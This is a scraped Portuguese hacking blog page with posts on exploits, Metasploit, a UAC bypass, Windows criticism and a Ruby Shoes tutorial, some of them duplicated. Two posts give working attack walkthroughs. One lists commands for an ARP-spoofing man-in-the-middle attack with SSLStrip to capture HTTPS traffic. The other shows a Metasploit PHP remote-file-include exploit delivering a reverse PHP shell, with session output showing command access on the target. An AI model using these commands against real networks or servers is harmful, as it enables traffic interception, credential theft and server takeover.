"Tout honnêt homme doit avouer les livres qu'il publie "
Postado por
f0nt_Drk on
sexta-feira, 1 de abril de 2011
às
17:14
Marcadores:
Filosofia,
Others
0
comentários
[...]
Hack Video Screens na Times Square
Na Times Square um individuo conseguiu através do iPhone e uns receptores, transmitir sua imagem nos telões de uma das avenidas mais badaladas do mundo.
Penetration Testing in the Real World
Postado por
f0nt_Drk on
segunda-feira, 21 de março de 2011
às
13:40
Marcadores:
Hacking,
PenTest,
Videos
0
comentários
Opa moçada, tava aqui dando uma olhada em alguns videos, dentre eles achei um bem pertinente e abrangente na questão de analise, busca e explotação de falhas, entao, fica com o video ae :
Exploits Brasil
Postado por
f0nt_Drk on
sexta-feira, 18 de março de 2011
às
15:16
Marcadores:
Noticias,
Others
0
comentários
Então, eu estou aqui pra divulgar um pouco um grupo que foi criado recentemente pelo Luiz Vieira e o Ronaldo Lima .
https://groups.google.com/group/exploits-brasil
Venha participar do grupo e ajude a divulgá-lo!
O grupo Exploits-Brasil é destinado a todos que se interessam pelo assunto, independentemente do nível de conhecimento de cada um.Para se inscrever no grupo acesse esse endereço:
https://groups.google.com/group/exploits-brasil
Venha participar do grupo e ajude a divulgá-lo!
O grupo é destinado a todos que desejam mais conhecimento onde se torna existente uma relação de troca de informações e relativismo informal de materiais relacionados ao desenvolvimento de exploits, analises de exploits, exploração de falhas, pentests em geral e outros conteúdos.
Microsoft perde cerca de 1,2 bilhões de dolares .
Postado por
f0nt_Drk on
quinta-feira, 10 de março de 2011
às
20:21
Marcadores:
Filosofia,
Noticias,
Others
0
comentários
Por Causa de alguns manos que estavam entediados e foram trabalhar com alguns algoritimos dos quais a microsoft usa para seus codigos, e com isso conseguiram um mode de ajusta-lo e resequencia-lo de forma rapida, e assim chegou até 160 Pontos de codigos da Microsoft e isso sendo varias e varias vezes usado ...
Moral da Historia :
We also fuck the system, our revenge .
Moral da Historia :
We also fuck the system, our revenge .
About ARM Arch
Este é um paper bem 'white' que eu escrevi para dar mais noção em hardware e criar um elo de estudo ao software, além de dar base sobre a Arquitetura ARM de processadores e como alguns sistemas funcionam, "desde a unha"
Understanding ARM Architecture
Understanding ARM Architecture
Teoria dos Campos Unificados
Postado por
f0nt_Drk on
quarta-feira, 9 de março de 2011
às
11:45
Marcadores:
Books,
Hacking,
Others
0
comentários
Bom, ultimamente não tenho postado muitas coisas no blog, fato .
Este é um paper book em PDF que de alguma forma me moveu a cabeça, me fez pensar de uma forma que eu não havia pensado sobre o hacking e a (in)segurança .
DOWNLOAD
Este é um paper book em PDF que de alguma forma me moveu a cabeça, me fez pensar de uma forma que eu não havia pensado sobre o hacking e a (in)segurança .
DOWNLOAD
Heap-Spray Attack
Postado por
f0nt_Drk on
sábado, 25 de dezembro de 2010
às
05:08
Marcadores:
Hacking,
PenTest
0
comentários
Está a disposição o meu artigo sobre Heap-Spray Attack !
Metasploit Unleashed
Postado por
f0nt_Drk on
quarta-feira, 8 de dezembro de 2010
às
13:13
Marcadores:
Hacking,
Others
0
comentários
http://www.offensive-security.com/metasploit-unleashed/
É um otimo material para entender Estrutura, funcionamento e uso do Metasploit Framework .
É um otimo material para entender Estrutura, funcionamento e uso do Metasploit Framework .
Getting SSL Traffic
Postado por
f0nt_Drk on
terça-feira, 7 de dezembro de 2010
às
10:49
Marcadores:
Hacking,
Redes
0
comentários
A partir da Aparição de um SSLStrip (nao me lembro quem fez) muitos sequelas firam na paranoia , que tem um fundamento pelo poder dessa simplória porem muito interessante tool , que captura Seu Trafego SSL tranquilamente.
Resumidamente, os passos seriam:
Configurar o IP Forwarding:
Realizar um ataque ARP MITM entre as 2 máquinas:
Redirecionar o tráfego com iptables:
Iniciar o SSLStrip, definindo um arquivo onde armazenará os dados capturados:
Quem quiser dar uma olhada no video :
http://www.youtube.com/watch?v=TJHcfs4inhs
Resumidamente, os passos seriam:
Configurar o IP Forwarding:
- CÓDIGO:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Realizar um ataque ARP MITM entre as 2 máquinas:
- CÓDIGO:
# arpspoof -i eth0 -t HOST_ALVO
Redirecionar o tráfego com iptables:
- CÓDIGO:
# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
Iniciar o SSLStrip, definindo um arquivo onde armazenará os dados capturados:
- CÓDIGO:
# python sslstrip.py -w arquivo
Quem quiser dar uma olhada no video :
http://www.youtube.com/watch?v=TJHcfs4inhs
E MITM ?
[]'s ;
Sistemas Operacionais : Projetos e Implementação
Aqui vai o livro do Tanenbaum , em Portugês , um diamanete isso viu .
Building Security In Maturity Model em Português
Postado por
f0nt_Drk on
sexta-feira, 3 de dezembro de 2010
às
13:25
Marcadores:
Noticias,
Others
0
comentários
Using the Metasploit PHP Remote File Include Module
Metasploit tem um PHP nifty Remote File Include module que lhe permite obter uma shell de comando a partir de uma RFI.
Não é muito complicado de se usar, defina de forma normal as opções do seu RHOST/RPORT, defina o PATH e defina o seu PHPURI com o path vuln e coloque XXpathXX onde normalmente estaria o seu shell php. Então pegamos algo simples como "Text-File Login Remote File Include" que tem uma string vulneravel :
Dei uma traduzida pra galera pegar mais facil .
original : http://carnal0wnage.attackresearch.com/node/421
Não é muito complicado de se usar, defina de forma normal as opções do seu RHOST/RPORT, defina o PATH e defina o seu PHPURI com o path vuln e coloque XXpathXX onde normalmente estaria o seu shell php. Então pegamos algo simples como "Text-File Login Remote File Include" que tem uma string vulneravel :
- CÓDIGO:
/[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
and make your PHPURI
PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
let's see it in action
msf > search php_include
[*] Searching loaded modules for pattern 'php_include'...
Exploits
========
Name Rank Description
---- ---- -----------
unix/webapp/php_include excellent PHP Remote File Include Generic Exploit
msf > use exploit/unix/webapp/php_include
msf exploit(php_include) > info
Name: PHP Remote File Include Generic Exploit
Version: 8762
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
hdm
egypt
Available targets:
Id Name
-- ----
0 Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes The base directory to prepend to the URL to try
PHPRFIDB /home/cg/evil/msf3/dev2/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI no The URI to request, with the include parameter changed to XXpathXX
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Space: 32768
Description:
This module can be used to exploit any generic PHP file include
vulnerability, where the application includes code like the
following:
msf exploit(php_include) > set PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
PHPURI => /slogin_lib.inc.php?slogin_path=XXpathXX
msf exploit(php_include) > set PATH /1/
PATH => /1/
msf exploit(php_include) > set RHOST 192.168.6.68
RHOST => 192.168.6.68
msf exploit(php_include) > set RPORT 8899
RPORT => 8899
msf exploit(php_include) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf exploit(php_include) > set LHOST 192.168.6.140
LHOST => 192.168.6.140
msf exploit(php_include) > exploit
[*] Started bind handler
[*] Using URL: http://192.168.6.140:8080/RvSIqhdft
[*] PHP include server started.
[*] Sending /1/slogin_lib.inc.php?slogin_path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%36%2e%31%34%30%3a%38%30
%38%30%2f%52%76%53%49%71%68%64%66%74%3f
[*] Command shell session 1 opened (192.168.6.140:34117 -> 192.168.6.68:8899) at Sun May 09 21:37:26 -0400 2010
dir
0.jpeg header.inc.php license.txt slog_users.txt version.txt
1.jpeg index.asp old slogin.inc.php
adminlog.php install.txt readme.txt slogin_genpass.php
footer.inc.php launch.asp slog_users.php slogin_lib.inc.php
id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Dei uma traduzida pra galera pegar mais facil .
original : http://carnal0wnage.attackresearch.com/node/421
Introdução ao Cracking com Ollydbg do Zero.
Postado por
f0nt_Drk on
segunda-feira, 29 de novembro de 2010
às
04:31
Marcadores:
Hacking,
Others,
PenTest
0
comentários
A idéia destes tutoriais são de dar uma base para todos os estudantes iniciantes na arte do Cracking com Ollydbg além de dar uma boa norteada na era de Engenharia Reversa .
Em português :
Em português :
Bypassing UAC with User Privilege under Windows Vista/7 – Mirror
Postado por
f0nt_Drk on
domingo, 28 de novembro de 2010
às
08:21
Marcadores:
Hacking,
Noticias,
PenTest,
Windows 9x
0
comentários
Essa é uma nova falha descoberta a pouco tempo, um 0day do Windows Seven e Vista .
Sobre o Autor : http://www.codeproject.com/Members/noobpwnftw
Video de Demonstração : http://www.exploit-db.com/movies/uacvideo.swf
Exploit :
Exames para as certificações CISSP e SSCP agora em português!
Postado por
f0nt_Drk on
quinta-feira, 25 de novembro de 2010
às
14:57
Marcadores:
Noticias,
Others
0
comentários
Pronto, agora você não tem mais desculpa :-) Após um longo e criterioso trabalho de tradução, o (ISC)² está finalmente lançando a versão traduzida de seus dois principais exames no mercado internacional: o CISSP e o SSCP.
A partir do dia 1º de novembro, os candidatos poderão solicitar a versão traduzida do exame durante o registro, em qualquer uma das localidades onde o (ISC)² aplica seus exames. Isso vale também para os colegas portugueses, ou para brasileiros fazendo o exame fora do Brasil. E se você é daqueles que torce o nariz para exames traduzidos, saiba que até nisso nós pensamos: os exames são bilígues, com a pergunta original em inglês e a traduzida lado a lado. A tradução foi feita focada na versão brasileira do idioma de Camões, e contou com o apoio de alguns dos mais experientes profissionais brasileiros no processo de revisão.
Nós da FLIPSIDE, na condição de único distribuidor oficial do (ISC)² na América Latina, acreditamos que com isso estamos dando um passo crucial na disseminação das certificações CISSP e SSCP em nosso continente. Nunca essas credenciais estiveram tão próximas de seu objetivo real: avaliar conhecimentos profissionais na área de Segurança da Informação (ao invés de avaliar o domínio dos candidatos de um idioma estrangeiro).
Para aqueles já registrados para os próximos exames, basta entrar em contato com o (ISC)² a partir do dia 1º de novembro através do e-mail registrar@isc2.org e solicitar a substituição do idioma. Para os que já estão desesperados pois planejavam fazer o exame ainda este ano e se depararam com todas as datas já esgotadas, fiquem tranquilos: estamos trabalhando para expandir o número de vagas e acomodar a todo mundo.
Acontecerá também o primeiro evento da (ISC)2 aqui no Brasil o SecureBrasil2011 saiba mais :
http://www.securebrasil.com.br
A partir do dia 1º de novembro, os candidatos poderão solicitar a versão traduzida do exame durante o registro, em qualquer uma das localidades onde o (ISC)² aplica seus exames. Isso vale também para os colegas portugueses, ou para brasileiros fazendo o exame fora do Brasil. E se você é daqueles que torce o nariz para exames traduzidos, saiba que até nisso nós pensamos: os exames são bilígues, com a pergunta original em inglês e a traduzida lado a lado. A tradução foi feita focada na versão brasileira do idioma de Camões, e contou com o apoio de alguns dos mais experientes profissionais brasileiros no processo de revisão.
Nós da FLIPSIDE, na condição de único distribuidor oficial do (ISC)² na América Latina, acreditamos que com isso estamos dando um passo crucial na disseminação das certificações CISSP e SSCP em nosso continente. Nunca essas credenciais estiveram tão próximas de seu objetivo real: avaliar conhecimentos profissionais na área de Segurança da Informação (ao invés de avaliar o domínio dos candidatos de um idioma estrangeiro).
Para aqueles já registrados para os próximos exames, basta entrar em contato com o (ISC)² a partir do dia 1º de novembro através do e-mail registrar@isc2.org e solicitar a substituição do idioma. Para os que já estão desesperados pois planejavam fazer o exame ainda este ano e se depararam com todas as datas já esgotadas, fiquem tranquilos: estamos trabalhando para expandir o número de vagas e acomodar a todo mundo.
Acontecerá também o primeiro evento da (ISC)2 aqui no Brasil o SecureBrasil2011 saiba mais :
http://www.securebrasil.com.br
Criptografia de Unidade de Disco BitLocker
Postado por
f0nt_Drk on
terça-feira, 16 de novembro de 2010
às
06:04
Marcadores:
Windows 9x
0
comentários
É engraçado a tentativa da Microsoft em tampar os buracos do Windows com peneira .
Mas vamos tentar analisar :
A unidade de Disco Bitlocker foi desenvolvida para proteger os dados do Disco do Windows vista Enterprise e Ultimate , além do windows server Longhorn também .
O Bitlocker foi criado pra 'proteger' os computadores de possiveis invasores que destruam a proteção de dados .
Bem o Bitlocker utiliza um Trusted Plataform Module (TPM) é isso mesmo TPM não riam .
O TPM é um microchip instalado geralmente na Placa mãe do computador e serve para fornecer informações basicas sobre seguranças, muitas das vezes sobre Criptografia .
Bem o Bitlocker utiliza o TPM para manter um Computador com Windows Vista seguro enquanto o sistema estiver offline .
De Certa forma o Bitlocker é inovador, juntando duas subfunções : A criptografia de unidade de Disco inteira e a verificação da integridade dos componentes de inicialização precoce (early boot)
Bom isso empede que o atacante não destrua ou Roube os Dados do sistema .
Porém como a Microsoft não quer segurança dos seus sistemas e sim dinheiro não são todos que podem ter esse tipo de "Proteção" .
Tendo ou não, talvez isso seja uma ínfima e precária tentativa de minimizar o fato de que o Windows não é um sistema seguro e que Não passa de um brinquedo para Desktop users se divertirem .
Vida longa ao Under Reich .
até ;*
Mas vamos tentar analisar :
A unidade de Disco Bitlocker foi desenvolvida para proteger os dados do Disco do Windows vista Enterprise e Ultimate , além do windows server Longhorn também .
O Bitlocker foi criado pra 'proteger' os computadores de possiveis invasores que destruam a proteção de dados .
Bem o Bitlocker utiliza um Trusted Plataform Module (TPM) é isso mesmo TPM não riam .
O TPM é um microchip instalado geralmente na Placa mãe do computador e serve para fornecer informações basicas sobre seguranças, muitas das vezes sobre Criptografia .
Bem o Bitlocker utiliza o TPM para manter um Computador com Windows Vista seguro enquanto o sistema estiver offline .
De Certa forma o Bitlocker é inovador, juntando duas subfunções : A criptografia de unidade de Disco inteira e a verificação da integridade dos componentes de inicialização precoce (early boot)
Bom isso empede que o atacante não destrua ou Roube os Dados do sistema .
Porém como a Microsoft não quer segurança dos seus sistemas e sim dinheiro não são todos que podem ter esse tipo de "Proteção" .
Tendo ou não, talvez isso seja uma ínfima e precária tentativa de minimizar o fato de que o Windows não é um sistema seguro e que Não passa de um brinquedo para Desktop users se divertirem .
Vida longa ao Under Reich .
até ;*
Tutorial Ruby with Shoes
Postado por
f0nt_Drk on
sábado, 6 de novembro de 2010
às
16:24
Marcadores:
Programação
0
comentários
Dedico esse tutorial a uma das bandas mais fodas : Anberlin .
Começando , vou fazer esse 'tutorial extra' que é fora do curso, mas é bom que todos leiam e entendam porque depois iremos usar muitas coisas passadas aqui no nosso curso.
Muitas pessoas se perguntam onde iram aplicar o que entenderam no nosso Curso e que tipo de ferramenta 'funcional' poderiam criar, e é justamente pra isso que irei escrever este tutorial, e também para mostrar de forma 'interativa' o uso do Ruby. Pois de forma simples podemos criar any softwares simples, porem com o avanço de cada um as coisas poderam fluir e aí você podera desenvolver varias aplicações . Sem falar que não é apenas com esse curso que você vai aprender tudo sobre ruby, eu estou apenas passando a materia necessaria de forma simplificada e cabe a vocês aprofundarem e perguntarem quando sentirem duvidas, cabe a vocês o esforço de avançar na linguagem .
Antes de tudo quero que vocês conhecam um novo amiguinho que nos ajudara a desenvolver nossa aplicações ele se chama Shoes . é uma aplicação desenvolvida por um Mestre em Ruby que foi criada justamente para que possamos desenvolver de forma rapida e simples aplicações visuais .

Uploaded with ImageShack.us
Como instalar o Shoes ?
É simples primeiro você ira baixar no site : http://shoes.heroku.com/
Tem versões para Mac OS X, Linux, Windows .
Depois de baixado execute o Installer ou abra ele por uma shell se for no Linux com o .run , (você pode ter mais
informações no Site.)
Depois disso você abre um editor de texto, e escreva para começar a brincadeira :
Salve como Welcome.rb na sua desktop depois abra o Shoes e procure o app, dê dois clicks e abrirá a Janela com o texto
"Com ruby, Tudo pode ser possivel"
Isso é só o começo moçada .
Vamos começar a usar este tipo de principio para desenvolver algumas coisas lecais !
Esse code deve ser executado da mesma maneira que foi o anterior .
Iniciamos o nosso "Shoes.app" colocamos um Button (Botão) depois uma especia de pop up que é um alert .
Bem simples não acham ?
Vamos há algumas informaçoes referentes a essa sintaxe 'diferenciada' para desenvolver aplicações .
SHOES .
como vocês já tem o basico de Ruby na cabeça não sera tão dificil, entao eu não irei explicar as coisinhas, irei apenas
apresentar o code e então é bom vocês irem treinando em casa .
Vamos a algo basico, sendo trabalhado com Strings :
Esse é um alert simples, vocês conhecem bem .
O proximo :

Uploaded with ImageShack.us
Este já abre uma janela fazendo a pergunta e com um campo para inserir o nome .
Parece com a função 'gets' no Ruby puro .
Ah, ta muito fraco ainda ?



Usamos agora uma true or false , para depois abrirmos uma aopção de esclher uma cor, e se vocês perceberam a cor que você
escolheu depois que se aperta o 'ok' se torna o background da janela .
Apartir disso, você pode criar any coisas, basta dar uma investigada .
Tudo bem, pra você isso ainda não ta valendo nada ..
RUBY WITH SHOES IN WEB .
Daí pra frente você pode investigar e entender mais como pode funcionar o Ruby se usado com outras ferramentas ou de uma
forma diferente .
Começando , vou fazer esse 'tutorial extra' que é fora do curso, mas é bom que todos leiam e entendam porque depois iremos usar muitas coisas passadas aqui no nosso curso.
Muitas pessoas se perguntam onde iram aplicar o que entenderam no nosso Curso e que tipo de ferramenta 'funcional' poderiam criar, e é justamente pra isso que irei escrever este tutorial, e também para mostrar de forma 'interativa' o uso do Ruby. Pois de forma simples podemos criar any softwares simples, porem com o avanço de cada um as coisas poderam fluir e aí você podera desenvolver varias aplicações . Sem falar que não é apenas com esse curso que você vai aprender tudo sobre ruby, eu estou apenas passando a materia necessaria de forma simplificada e cabe a vocês aprofundarem e perguntarem quando sentirem duvidas, cabe a vocês o esforço de avançar na linguagem .
Antes de tudo quero que vocês conhecam um novo amiguinho que nos ajudara a desenvolver nossa aplicações ele se chama Shoes . é uma aplicação desenvolvida por um Mestre em Ruby que foi criada justamente para que possamos desenvolver de forma rapida e simples aplicações visuais .
Uploaded with ImageShack.us
Como instalar o Shoes ?
É simples primeiro você ira baixar no site : http://shoes.heroku.com/
Tem versões para Mac OS X, Linux, Windows .
Depois de baixado execute o Installer ou abra ele por uma shell se for no Linux com o .run , (você pode ter mais
informações no Site.)
Depois disso você abre um editor de texto, e escreva para começar a brincadeira :
- CÓDIGO:
Shoes.app do
para "Com ruby, Tudo pode ser possivel"
end
Salve como Welcome.rb na sua desktop depois abra o Shoes e procure o app, dê dois clicks e abrirá a Janela com o texto
"Com ruby, Tudo pode ser possivel"
Isso é só o começo moçada .
Vamos começar a usar este tipo de principio para desenvolver algumas coisas lecais !
- CÓDIGO:
Shoes.app { button("Clica aqui!") { alert("haha, isso esta ficando legal ?!") } }
Esse code deve ser executado da mesma maneira que foi o anterior .
Iniciamos o nosso "Shoes.app" colocamos um Button (Botão) depois uma especia de pop up que é um alert .
Bem simples não acham ?
Vamos há algumas informaçoes referentes a essa sintaxe 'diferenciada' para desenvolver aplicações .
SHOES .
como vocês já tem o basico de Ruby na cabeça não sera tão dificil, entao eu não irei explicar as coisinhas, irei apenas
apresentar o code e então é bom vocês irem treinando em casa .
Vamos a algo basico, sendo trabalhado com Strings :
- CÓDIGO:
alert("Yes, we can change the world")
Esse é um alert simples, vocês conhecem bem .
O proximo :
- CÓDIGO:
name = ask("digita teu nome ae gata :")
Uploaded with ImageShack.us
Este já abre uma janela fazendo a pergunta e com um campo para inserir o nome .
Parece com a função 'gets' no Ruby puro .
Ah, ta muito fraco ainda ?
- CÓDIGO:
if confirm("Vai escolher uma cor ?")
backcolor = ask_color("Pick a background")
Shoes.app do
background backcolor
end
end
Usamos agora uma true or false , para depois abrirmos uma aopção de esclher uma cor, e se vocês perceberam a cor que você
escolheu depois que se aperta o 'ok' se torna o background da janela .
Apartir disso, você pode criar any coisas, basta dar uma investigada .
Tudo bem, pra você isso ainda não ta valendo nada ..
RUBY WITH SHOES IN WEB .
- CÓDIGO:
shoes.app do
stack do
title "Procurando no Google", :size => 16
@status = para "Espere um pouco..."
# Procura no google por 'Nemesiz' e joga os HTTP headers na tela
download "http://www.google.com/search?q=nemesiz" do |goog|
@status.text = "headers: " + goog.responde.headers.inspect
end
end
end
Daí pra frente você pode investigar e entender mais como pode funcionar o Ruby se usado com outras ferramentas ou de uma
forma diferente .
Assinar:
Postagens (Atom)







